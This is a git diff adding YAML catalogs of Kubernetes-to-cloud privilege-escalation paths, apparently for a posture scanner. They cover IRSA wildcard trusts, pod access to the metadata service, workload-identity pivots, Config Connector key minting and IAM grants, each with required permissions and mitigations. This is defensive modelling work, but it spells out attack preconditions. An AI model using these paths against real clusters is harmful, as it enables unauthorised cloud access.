technique: k8s-admission-gatekeeper-constraint-weaken + reason: Only removes or weakens an admission guardrail. It grants no principal credential or additional RBAC permission + by itself; model a complete follow-on identity or permission gain instead. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/controller-data-and-network-effects.md#configmap-name-squatting-and-live-update + source_revision: null + technique: k8s-v3-33-missing-configmap-name-squatting + reason: No source permission or API action is declared; a hypothetical future executable path is not a demonstrated + principal-to-principal escalation. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#static-google-service-account-key-mounted-as-a-secret + source_revision: a66f094ede + technique: Static Google key Secret inferred from metadata or unverified Pod mount + reason: The active direct-read variant requires an exact Secret, active key, accepted Google subject and newly allowed action. Metadata hints and Pod-mount possibility alone do not prove those joins. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#argo-cd-managed-cluster-credentials + source_revision: 171e422 + technique: Argo CD remote-cluster credential inferred from Secret label + reason: The active direct-read variant needs an exact Secret UID/version, accepted remote subject, usable credential and newly allowed action. A cluster label or generic Secret read alone is exposure. + +- source: src/pentesting-cloud/kubernetes-security/kubernetes-basic-information/access-and-common-concepts.md#access-any-resource-or-verb-wildcard + technique: Wildcard RBAC rights already held by the source + reason: The wildcard grant is already effective before any action; it does not obtain another principal or grant additional permissions. Concrete uses of those rights are separate active techniques. + +# Strict principal-target re-audit: documented conditions without a verified source-to-target join. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/secrets-and-configmaps.md#secret-listing-and-data-inspection + technique: Generic Secret listing without a verified identity + reason: Reading Secret data is exposure. Only the separately reviewed, usable legacy ServiceAccount token path at verified-legacy-serviceaccount-token-secret can create a principal edge. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/validating-admission-policies.md#mutatingadmissionpolicy-code-injection + technique: k8s-workloads-mutating-admission-policy-half-pair + reason: Only one policy/binding write is required by this row, but the existing + complementary half and its injecting contents are not collected or joined to the + target Pod identity. Retain as a documented conditional path until exact binding/policy/admission + evidence exists. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#consumed-configuration-as-code + technique: k8s-workloads-configmap-executed-by-workload + reason: A running Pod references a ConfigMap, but inventory does not prove that + a source-writable exact ConfigMap is executed as code, that a reload occurs, or + that the target ServiceAccount credentials are obtained. A data/configuration + write alone is not a principal path. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#flux-kustomization-without-a-tenant-serviceaccount + technique: k8s-workloads-flux-kustomization-controller-identity + reason: The controller may use --default-service-account and source contents/egress + are unverified. The current selector matches a same-named ServiceAccount without + proving that this Kustomization reconciles under it. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-flux-kustomization-patch-controller-identity + reason: The selected Kustomization spec, source artifact and --default-service-account + setting are not collected; patch/update alone cannot prove execution under the + named controller identity. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-crossplane-provider-kubernetes-identity + reason: ProviderConfig and Object references are not collected. The Object can use + a kubeconfig Secret or another cluster, so the provider-kubernetes ServiceAccount + name glob is not a proven target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#gitops-and-platform-controller-deputies + technique: k8s-workloads-flux-helmrelease-controller-identity + reason: The HelmRelease may use a tenant ServiceAccount through --default-service-account, + and the chart/source contents are not joined to the writer. Controller name alone + does not prove the gained principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/controllers-and-admission.md#other-gitops-and-platform-controller-source-changes + technique: k8s-workloads-argocd-application-controller-identity + reason: AppProject, destination cluster credential and sync state are not collected. + An Application write cannot be bound to the local application-controller ServiceAccount + as the usable target principal. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#kiam--kube2iam-iam-role-for-pods + technique: Kiam or Kube2IAM role inferred from namespace or Pod annotation + reason: The active Pod-create variant needs an admitted running Pod, matching namespace policy, running proxy, accepted role trust, delivered credentials and a newly allowed action. Annotation matching alone cannot identify a gained IAM role. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#aws-eks-aws-auth-configmaps + technique: k8s-cloud-eks-aws-auth-configmap + reason: The cluster auth mode, access-entry precedence and source-controlled IAM + sign-in principal are not joined to this ConfigMap mutation. Editing aws-auth + alone cannot prove a new Kubernetes principal or permission. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#azure--aks + technique: k8s-cloud-aks-identity-binding + reason: The target selector has no collected ARM identity-binding association, and + the evaluator creates no aks_identity_binding cloud node. The use-managed-identity + verb alone cannot identify a reachable managed identity. +- source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-misconfiguration + technique: k8s-openshift-tekton-namespace-scc-annotation + reason: TektonConfig maxAllowed, operator namespace management, inline task control, + SCC grant and resulting admitted privileged Pod are not joined to a schedulable + node. Namespace annotation plus TaskRun permission alone does not prove a node + path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml new file mode 100644 index 0000000000..fee6f8f63f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml @@ -0,0 +1,5 @@ +# Reviewed privilege-escalation sweep exclusions. +- source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/internal-network-attacks.md#mesh-identity-confused-deputy-through-ssrf + technique: Use SSRF in a trusted mesh workload to make requests under its workload identity + reason: A successful edge requires application-specific SSRF behavior, a live mesh dataplane and backend response. Kubernetes + RBAC and policy objects alone cannot establish the runtime request or privilege use. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml new file mode 100644 index 0000000000..665afe7391 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml @@ -0,0 +1,2 @@ +# Admission-control changes are preconditions, not standalone privilege-escalation paths. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml new file mode 100644 index 0000000000..8f16864cf5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml @@ -0,0 +1,8 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Admission-control changes are preconditions, not standalone privilege-escalation paths. +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml new file mode 100644 index 0000000000..fd5de15d45 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml @@ -0,0 +1,342 @@ +# catalog_description: Only principal-to-principal or principal-to-additional-permission +# escalation paths belong here. A source must control a credential or hold the +# required verbs, perform the named action, and reach a known target identity +# or new effective permission. Generic Secret reads and guardrail changes +# without a proven identity or permission gain are excluded. +# Canonical provider policy: peaso/privesc/catalog_policy.yaml. +# Kubernetes <-> cloud identity pivots (EKS IRSA / Pod Identity / kiam / aws-auth, GKE Workload +# Identity, AKS Workload ID / identity bindings, node cloud identities). +# Conventions: see header of rbac.yaml. Entries with source_kind describe edges from an identity +# (ServiceAccount or node) to a cloud principal; who reaches that identity is modelled elsewhere +# (pods create, exec, tokens...). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-cloud-eks-irsa + provider: k8s + service: eks + title: ServiceAccount assumes an IAM role through IRSA (OIDC web identity) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the IAM roles whose trust policy accepts the cluster OIDC issuer with that ServiceAccount's subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + trust_allows_k8s_sa_oidc_subject: true + scope: any + aggregate_as: "IAM roles trusting {source.namespace}/{source.name} via IRSA" + conditions: + - id: aws_trust_not_collected + description: Needs the AWS role trust and the EKS cluster OIDC issuer to join the exact federated provider, subject, and STS audience. An annotation alone does not establish that the role can be assumed. + blockers: [] + confidence: derived + severity: high + mitigation: Scope IRSA trust policies to an exact sub (system:serviceaccount::) and aud sts.amazonaws.com; prefer EKS Pod Identity with tag conditions. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: The annotation is not a security gate; any holder of a token for the ServiceAccount with audience sts.amazonaws.com (a pod can request a projected token with any audience) can call AssumeRoleWithWebIdentity. Hence the reachable set is defined by the trust policy, not the annotation. Trusts with wildcard or missing sub conditions are reached by every matching ServiceAccount. + +- id: k8s-cloud-eks-irsa-create-matching-sa + provider: k8s + service: eks + title: Create a ServiceAccount matching an IRSA trust + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: The source can obtain an IAM role by creating a ServiceAccount whose new name matches the role's IRSA trust and obtaining its STS-audience token. + requires: + all_of: + - verb: create + resource: serviceaccounts + namespace: "{pivot.namespace}" + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: aws_trust_not_collected + description: Requires the AWS role trust, matching EKS OIDC issuer, and STS audience; a new ServiceAccount name must satisfy the subject pattern. + blockers: [] + confidence: derived + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + notes: This path also covers an exact trusted ServiceAccount name that has not yet been created. Existing matching ServiceAccounts use the separate existing-SA route. + +- id: k8s-cloud-eks-irsa-wildcard-trust-existing-sa + provider: k8s + service: eks + title: Use an existing ServiceAccount trusted by an IRSA role + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#iam-role-for-k8s-service-accounts-via-oidc + source_revision: 2415fadfbd + summary: The source can obtain an IAM role by obtaining an STS-audience token for an existing ServiceAccount whose name matches the role's IRSA trust. + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: serviceaccounts, subresource: token, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + trust_allows_oidc_subject_wildcard: "system:serviceaccount:{pivot.namespace}:*" + scope: any + aggregate_as: "IAM roles with wildcard IRSA trust matching {pivot.namespace}" + conditions: + - id: existing_sa_matches_wildcard + description: An inventoried ServiceAccount name in the namespace must match the trust's subject pattern; a trust for a name that does not exist needs the create-matching-SA path. + - id: token_audience + description: The token must carry the trusted audience (sts.amazonaws.com); a pod can request it with a projected serviceAccountToken volume and TokenRequest accepts any audience, so the eks.amazonaws.com/role-arn annotation is not needed. + - id: aws_trust_not_collected + description: Requires the AWS role trust and matching EKS OIDC issuer to evaluate the subject and STS audience. + blockers: [] + confidence: conditional + severity: high + mitigation: Never use wildcards in the sub condition of IRSA trust policies; pin both sub and aud. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html + - https://kubernetes.io/docs/concepts/storage/projected-volumes/#serviceaccounttoken + notes: The annotation only drives webhook injection; the trust check is on token issuer, subject, and audience, so no ServiceAccount write is required when an existing matching ServiceAccount can supply a token. + +- id: k8s-cloud-eks-pod-identity + provider: k8s + service: eks + title: ServiceAccount receives an IAM role through EKS Pod Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#eks-pod-identity + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the IAM role of the EKS Pod Identity association for its (namespace, name). + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: eks_pod_identity + scope: any + aggregate_as: "IAM roles associated with {source.namespace}/{source.name}" + conditions: + - id: pod_identity_association_from_related_aws + description: The EKS association must name the source ServiceAccount and an initial role whose trust allows pods.eks.amazonaws.com to call AssumeRole and TagSession. A target role is a separate IAM role chain. + - id: pod_identity_agent_running + description: The EKS Pod Identity Agent must run on the nodes; credentials are served only to pods running as that ServiceAccount. + - id: trust_tag_conditions + description: Trust conditions on kubernetes-namespace/kubernetes-service-account/cluster tags may further restrict the role. + blockers: [] + confidence: conditional + severity: high + mitigation: Associate roles only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods; add tag conditions to the trust. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html + notes: The roleArn in the association is the first role assumed by EKS. targetRoleArn, if present, is a later IAM role hop evaluated by the AWS catalog; it is not substituted for roleArn here. + +- id: k8s-cloud-gke-workload-identity + provider: k8s + service: gke + title: ServiceAccount impersonates a Google service account via GKE Workload Identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#workload-identity-federation-for-gke + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the Google service accounts that grant roles/iam.workloadIdentityUser to its Workload Identity member. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: gke_workload_identity + gcp_workload_identity_user_granted_to_k8s_sa: true + scope: any + aggregate_as: "GSAs impersonable by {source.namespace}/{source.name}" + conditions: + - id: gcp_iam_not_collected + description: The IAM binding on the GSA must name the exact workload pool recorded on the joined GKE cluster and the source namespace and ServiceAccount. An annotation without that cluster and IAM join leaves the path unknown. + - id: gke_metadata_server_required + description: The pod must run on a GKE node pool using the GKE metadata server so it can exchange its Kubernetes identity for a Google access token. + - id: identity_sameness + description: Every cluster in the same project/fleet workload pool shares the member identity, so the same namespace/name in another cluster also reaches the GSA. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant workloadIdentityUser only to dedicated KSAs in namespaces untrusted subjects cannot write to; avoid shared workload pools across trust boundaries. + references: + - https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity + notes: The IAM binding, not the annotation, is the authorization gate. Direct IAM grants to the KSA principal (principal://iam.googleapis.com/projects//locations/global/workloadIdentityPools//subject/ns//sa/) also give it cloud privileges; the evaluator should treat that federated principal as the cloud_identity reached. + +- id: k8s-cloud-aks-workload-identity + provider: k8s + service: aks + title: ServiceAccount obtains an Entra identity via AKS Workload ID federation + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#azure--aks + source_revision: 2415fadfbd + summary: A ServiceAccount can obtain the privileges of the managed identities or app registrations whose federated identity credential matches the cluster issuer and its subject. + source_kind: k8s_service_account + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_sa_cloud_binding: azure_workload_identity + azure_fic_matches_k8s_sa: true + scope: any + aggregate_as: "Entra identities federated with {source.namespace}/{source.name}" + conditions: + - id: azure_fic_not_collected + description: The Entra federated credential must accept the joined AKS cluster issuer, exact ServiceAccount subject, and token exchange audience. A matching credential is sufficient even without the webhook annotation when the token audience can be requested directly. + blockers: [] + confidence: derived + severity: high + mitigation: Federate identities only with dedicated ServiceAccounts in namespaces where untrusted subjects cannot create pods or tokens. + references: + - https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview + notes: The annotation and the azure.workload.identity/use label only drive token injection by the webhook; any holder of a token for the SA with audience api://AzureADTokenExchange can exchange it, so they are not gates. + +- id: k8s-cloud-node-cloud-identity + provider: k8s + service: nodes + title: Control of a node host reaches its cloud identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: 2415fadfbd + summary: Control of a node host can obtain the privileges of its attached cloud identity (EC2 instance profile role, GCE node service account, or AKS kubelet managed identity). + source_kind: k8s_node + requires: + all_of: [] + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: node_cloud_identity_not_collected + description: The attached identity is known from the cloud snapshot (instance profile, node pool service account, VMSS identity), not from the K8s collector. + - id: node_host_control_required + description: A Kubernetes node API credential alone does not expose the host's metadata service; the source must also control the node host or a workload that can reach the metadata service. + blockers: [] + confidence: conditional + severity: high + mitigation: Give node identities only the minimal permissions (registry pull, CNI); never attach broad roles to node pools. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/create-node-role.html + - https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster#use_least_privilege_sa + notes: On GKE with Workload Identity enabled on the node pool, pods are served by the GKE metadata server, but the node itself still holds the node service account. + +- id: k8s-cloud-pod-imds-node-identity + provider: k8s + service: nodes + title: Ordinary pod reaches the node metadata service + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#node-iam-role-to-cluster-admin + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the node cloud identity by creating any pod when pods can reach the instance metadata service. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: imds_reachable_from_pod + description: EKS needs an IMDS hop limit >= 2 (AL2023 managed node groups without a launch template and Auto Mode default to 1) and no disablePodIMDS; GKE needs node pools without Workload Identity/metadata concealment; AKS needs no network policy blocking 169.254.169.254. + - id: network_policy_blocks_imds + description: An egress NetworkPolicy denying the metadata address removes the edge. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Block pod access to IMDS (hop limit 1, disablePodIMDS, GKE Workload Identity, egress policies) and use workload identities instead. + references: + - https://docs.aws.amazon.com/eks/latest/best-practices/identity-and-access-management.html#restrict-access-to-the-instance-profile-assigned-to-the-worker-node + notes: Admission is not involved; only network reachability matters. Exec into existing pods gives the same reach and is modelled implicitly through the ServiceAccount chain. + +- id: k8s-cloud-hostnetwork-pod-node-identity + provider: k8s + service: nodes + title: hostNetwork pod reaches the node metadata service (not node root) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#pod-create---move-to-cloud + source_revision: 2415fadfbd + summary: The source can obtain the privileges of the node cloud identity by creating a hostNetwork pod, which bypasses pod-level IMDS hop restrictions. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: cloud_identity + selector: + k8s_node_cloud_identity: true + scope: any + aggregate_as: "Cloud identity of nodes in {cluster}" + conditions: + - id: other_admission_blocks_host_network + description: Non-PSA admission may reject hostNetwork pods. + - id: gke_metadata_server_on_host_network + description: On GKE node pools with Workload Identity, hostNetwork pods are not intercepted by the GKE metadata server and reach the node service account, so Workload Identity is not a blocker here. + blockers: [pivot_namespace_psa_enforce_baseline_or_restricted, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Enforce PSA baseline (which disallows hostNetwork) and minimize node identity permissions. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Distinct from k8s-cloud-pod-imds-node-identity because it is gated by PSA rather than IMDS network settings; it only adds reach where ordinary pods are kept from the metadata service (EKS hop limit 1 / disablePodIMDS, GKE metadata server, egress NetworkPolicy, which does not apply to hostNetwork pods). hostNetwork places the pod in the node network namespace but is not a host escape and does not reach node root or the kubelet credential; node-local loopback services remain subject to their own authentication. + +- id: k8s-cloud-eks-node-role-to-node + provider: k8s + service: eks + title: EKS node IAM role authenticates to the cluster as a node + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 2415fadfbd + summary: Credentials of the EKS node IAM role can obtain the privileges of the node identity (system:node:, group system:nodes) mapped to that instance session. + source_kind: cloud_identity + requires: + all_of: [] + target: + kind: k8s_node + selector: + k8s_nodes_mapped_to_cloud_identity: true + scope: cluster + aggregate_as: "Nodes mapped to the node role in {cluster}" + conditions: + - id: node_name_from_session + description: The username is derived from the instance (EC2PrivateDNSName) of the role session; stolen instance credentials map to that instance's node. Principals able to assume the node role with another session can reach other nodes. + blockers: [] + confidence: conditional + severity: high + mitigation: Block pod access to IMDS so node role credentials cannot be stolen from pods, and keep privileged ServiceAccounts' pods on dedicated nodes. + references: + - https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + notes: Combined with k8s-nodes-node-mint-pod-sa-tokens this reaches pod ServiceAccounts only on the same node. Mapping is via access entries of type EC2_LINUX or EC2_WINDOWS, or aws-auth mapRoles to system:nodes. A missing access entry remains conditional when aws-auth may still map the role; API-only authentication excludes that route. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml new file mode 100644 index 0000000000..997d9ef170 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml @@ -0,0 +1,74 @@ +# In-cluster Config Connector access can create a credential for a named Google service account. + +- id: k8s-configconnector-service-account-key + provider: k8s + service: configconnector + title: Obtain a Google service account key through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + source_revision: 171e422 + summary: A Kubernetes service account with key-resource create permission in a watched namespace can obtain a credential for an exact Google service account by reading a generated key or supplying its own public key. + source_kind: k8s_service_account + requires: + all_of: + - verb: create + api_group: iam.cnrm.cloud.google.com + resource: iamserviceaccountkeys + target: + kind: gcp_service_account + selector: + k8s_kcc_service_account_key_path: true + scope: any + outcome: credentials + aggregate_as: Google service accounts whose keys the Kubernetes service account can obtain + conditions: + - id: reconciliation + description: Config Connector must accept and reconcile the new key resource, and the resulting credential must remain usable. + - id: admission + description: Kubernetes admission policy or a conflicting resource name can reject the request. + blockers: [] + confidence: conditional + severity: critical + mitigation: Limit IAMServiceAccountKey creation in watched namespaces, restrict the Config Connector identity's key permissions, and enforce key-creation and key-upload organization policies. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iamserviceaccountkey + - https://docs.cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts.keys/upload + notes: This route starts from an in-cluster Kubernetes service account. It joins the exact watched namespace, Config Connector identity, Google service account, selected key-reading or supplied-public-key path, and the matching effective policy. The scanner never reads a private key. + +- id: k8s-configconnector-project-iam-grant + provider: k8s + service: configconnector + title: Change project IAM through Config Connector + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kubernetes-rbac-over-a-kcc-resource--act-as-the-configured-config-connector-identity + source_revision: 171e422 + summary: A Kubernetes service account can gain project IAM control when it can create an IAMPolicyMember or change an existing IAMPolicy or IAMPartialPolicy in a watched namespace and the configured controller can read and set that project's IAM policy. + source_kind: k8s_service_account + requires: + any_of: + - - {verb: create, api_group: iam.cnrm.cloud.google.com, resource: iampolicymembers, namespace: "{target.namespace}"} + - - {verb: patch, api_group: iam.cnrm.cloud.google.com, resource: iampolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: update, api_group: iam.cnrm.cloud.google.com, resource: iampolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: patch, api_group: iam.cnrm.cloud.google.com, resource: iampartialpolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + - - {verb: update, api_group: iam.cnrm.cloud.google.com, resource: iampartialpolicies, namespace: "{target.namespace}", resource_name: "{target.name}"} + target: + kind: gcp_verified_authority + selector: + k8s_kcc_project_policy_grant: true + scope: any + outcome: permission_grant + grants: + - resourcemanager.projects.setIamPolicy + aggregate_as: Project IAM grants available through Config Connector + conditions: + - id: reconciliation + description: Config Connector must accept and reconcile the IAM resource. + - id: admission + description: Kubernetes admission policy or a conflicting resource name can reject the request. + blockers: [] + confidence: conditional + severity: critical + mitigation: Limit IAM policy resource writes in watched namespaces and restrict the Config Connector identity's project IAM permissions. + references: + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicymember + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampolicy + - https://docs.cloud.google.com/config-connector/docs/reference/resource-docs/iam/iampartialpolicy + notes: This route starts from an in-cluster Kubernetes service account. It needs exact namespace RBAC create or patch/update on a collected existing policy, a watched and healthy Config Connector identity, and that identity's get/set IAM policy rights on the exact project. The grant is bounded to that project and remains conditional on admission and reconciliation. diff --git a/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml b/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml new file mode 100644 index 0000000000..c94545d8bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml @@ -0,0 +1,35 @@ +# catalog_description: Only a source principal's named action that reaches an +# exact other principal or grants the source a verified new permission is active. +# Reading a Secret without proof of its credential subject and usability is exposure. +# This is one reviewed, bounded self-permission gain in the KRTE lab. A generic +# Helm values writer does not gain RBAC without the exact chart and applier join. +- id: k8s-helm-values-rbac-privileged-reconciler + provider: k8s + service: helm + title: Patch the KRTE values ConfigMap so its privileged applier grants the tenant ServiceAccount Secret reads + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/helm-template-injection.md#values-to-rbac-through-a-privileged-reconciler + source_revision: 171e422 + summary: A tenant ServiceAccount that can patch krte-sc-source/prod-values changes values.json; the reviewed applier renders a Role and RoleBinding granting that same ServiceAccount get/list on Secrets in krte-sc-prod. + source_kind: k8s_service_account + requires: + all_of: + - {verb: patch, resource: configmaps, namespace: krte-sc-source, resource_name: prod-values} + target: + kind: k8s_verified_authority + selector: + k8s_helm_values_rbac: true + scope: cluster + outcome: permission_grant + grants: ["get,list secrets in krte-sc-prod to the source ServiceAccount"] + aggregate_as: "get,list secrets in krte-sc-prod via reviewed KRTE Helm applier" + conditions: + - id: reviewed_helm_values_rbac_evidence + description: A unique collected k8s_helm_values_rbac_evidence record must bind the exact ConfigMap and values key, chart fields, privileged reconciler, rendered Role and RoleBinding, source ServiceAccount, admitted reconciliation, prior denial and observed new permission. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict writes to values consumed by privileged reconcilers and constrain which subjects, namespaces and RBAC rules the chart may render. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping + - https://helm.sh/docs/chart_template_guide/values_files/ + notes: The target is only the reviewed get/list Secret permission in 